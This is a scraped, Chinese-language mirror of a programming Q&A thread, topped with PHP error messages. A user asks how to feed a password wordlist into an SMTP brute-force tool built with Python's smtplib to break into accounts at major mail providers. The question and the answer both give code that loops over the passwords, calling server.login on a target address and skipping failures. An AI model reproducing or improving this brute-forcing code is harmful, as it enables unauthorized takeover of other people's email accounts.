Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/283.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
如何在python中将特定行作为brute forcer工具的输入_Python_Smtp_Brute Force_Txt - Fatal编程技术网

如何在python中将特定行作为brute forcer工具的输入

如何在python中将特定行作为brute forcer工具的输入,python,smtp,brute-force,txt,Python,Smtp,Brute Force,Txt,我已经为顶级邮件服务创建了一个使用smtplib模块的暴力工具,但我遇到了一个问题。问题是如何将文本文件作为输入 我希望该工具应该采取的密码从第一行的字列表,并尝试它,然后,它会移动到下一个密码,并尝试它 我尝试的是:- def wordlist(): global file file = open('file.txt') global max_line max_line = int(input("Please enter the number of p

我已经为顶级邮件服务创建了一个使用smtplib模块的暴力工具,但我遇到了一个问题。问题是如何将文本文件作为输入


我希望该工具应该采取的密码从第一行的字列表,并尝试它,然后,它会移动到下一个密码,并尝试它

我尝试的是:-

def wordlist():
    global file
    file = open('file.txt')
    global max_line
    max_line = int(input("Please enter the number of passwords (lines) in the worldist: "))
    global line
    line = file.readlines()
    global line_no
    line_no = 0
    main()

def main():
    line_no+=1
    while max_line!=line_no:
        server.login('target@email.com', line[count])
        line_no+=1

if __name__ == "__main__":
    wordlist()
简单地说,我想创建一个循环,在这个循环中,工具应该从wordlist中获取第一个密码并进行尝试,然后移动到下一个

类似以下内容:

for password in passwords:
    mail="From:example@example.com To:example@example.com Password:%s Text:wbdshgfbd" %(password)
您可以使用拆分(“\n”)来分隔密码,然后使用列表

passwords=passwordsText.split("\n")
for i in passwords:
    try:
        server.login('target@email.com', str(i))
    except Exception:
        continue

可能是这样。

有任何代码/尝试吗?我希望该工具应该一个接一个地获取密码。例如,它应该先尝试123456,然后再尝试12345678,依此类推……该工具将使用以下方法:server.login('target@email.com“,“password”)您是否介意编辑您的答案并添加代码工作方式的说明?